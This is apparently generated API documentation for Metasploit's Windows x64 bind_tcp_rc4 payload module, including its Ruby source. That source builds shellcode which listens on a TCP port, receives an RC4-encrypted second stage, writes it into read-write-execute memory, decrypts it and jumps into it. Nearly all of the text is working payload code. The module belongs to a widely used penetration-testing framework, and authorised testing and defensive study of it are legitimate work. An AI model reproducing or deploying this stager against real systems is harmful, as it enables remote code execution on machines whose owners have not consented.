Module: Msf::Payload::Windows::BindTcpRc4_x64

Includes:
BindTcp_x64, Rc4_x64
Defined in:
lib/msf/core/payload/windows/x64/bind_tcp_rc4_x64.rb

Overview

Complex bind_tcp_rc4 payload generation for Windows ARCH_X64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Rc4_x64

#asm_decrypt_rc4, #generate_stage, #handle_intermediate_stage, #initialize

Methods included from BindTcp_x64

#asm_bind_tcp, #asm_block_recv, #generate_bind_tcp, #required_space, #transport_config, #use_ipv6

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from SendUUID_x64

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #initialize, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Pingback::Options

#initialize

Instance Method Details

#asm_block_recv_rc4(opts = {}) ⇒ Object



62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# File 'lib/msf/core/payload/windows/x64/bind_tcp_rc4_x64.rb', line 62

def asm_block_recv_rc4(opts={})
  xorkey = Rex::Text.to_dword(opts[:xorkey]).chomp
  asm = %Q^
    recv:
    ; Receive the size of the incoming second stage...
      sub rsp, 16             ; alloc some space (16 bytes) on stack for to hold the
                              ; second stage length
      mov rdx, rsp            ; set pointer to this buffer
      xor r9, r9              ; flags
      push 4                  ;
      pop r8                  ; length = sizeof( DWORD );
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, &dwLength, 4, 0 );
      add rsp, 32             ; we restore RSP from the api_call so we can pop off RSI next

    ; Alloc a RWX buffer for the second stage
      pop rsi                 ; pop off the second stage length
      mov esi, esi            ; only use the lower-order 32 bits for the size
      xor esi, #{xorkey}    ; XOR the stage length
      lea r11, [rsi+0x100]  ; R11 = stage length + S-box length (alloc length)
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly recieved second stage length.
      xor rcx,rcx             ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      ; mov rbx, rax            ; rbx = our new memory address for the new stage
      lea rbx, [rax+0x100]
      ; mov r15, rax            ; save the address so we can jump into it later
      mov r15, rbx
	push rbx              ; save stage address
      push rsi              ; push stage length
      push rax              ; push the address of the S-box

    read_more:                ;
      xor r9, r9              ; flags
      mov r8, rsi             ; length
      mov rdx, rbx            ; the current address into our second stages RWX buffer
      mov rcx, rdi            ; the saved socket
      mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call rbp                ; recv( s, buffer, length, 0 );
      add rsp, 32             ; restore stack after api_call

    read_successful:
      add rbx, rax            ; buffer += bytes_received
      sub rsi, rax            ; length -= bytes_received
      ; test rsi, rsi           ; test length
      jnz read_more           ; continue if we have more to read
      mov r14, rdi            ; save socket handle
      pop rdi                 ; address of S-box
      pop rcx                 ; stage length
      pop r9                  ; address of stage
      push r14                ; save socket
      call after_key          ; Call after_key, this pushes the address of the key onto the stack.
      db #{raw_to_db(opts[:rc4key])}
    after_key:
      pop rsi                 ; rsi = RC4 key
    #{asm_decrypt_rc4}
      pop rdi                 ; restrore socket handle
      jmp r15                 ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#generate(_opts = {}) ⇒ Object

Generate the first stage



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'lib/msf/core/payload/windows/x64/bind_tcp_rc4_x64.rb', line 19

def generate(_opts = {})
  xorkey, rc4key = rc4_keys(datastore['RC4PASSWORD'])
  conf = {
    port:        datastore['LPORT'],
    xorkey:      xorkey,
    rc4key:      rc4key,
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = datastore['EXITFUNC']
    conf[:reliable] = true
  end

  generate_bind_tcp_rc4(conf)
end

#generate_bind_tcp_rc4(opts = {}) ⇒ Object

Generate and compile the stager



48
49
50
51
52
53
54
55
56
57
58
59
60
# File 'lib/msf/core/payload/windows/x64/bind_tcp_rc4_x64.rb', line 48

def generate_bind_tcp_rc4(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp               ; block API pointer
    #{asm_bind_tcp(opts)}
    #{asm_block_recv_rc4(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



41
42
43
# File 'lib/msf/core/payload/windows/x64/bind_tcp_rc4_x64.rb', line 41

def include_send_uuid
  false
end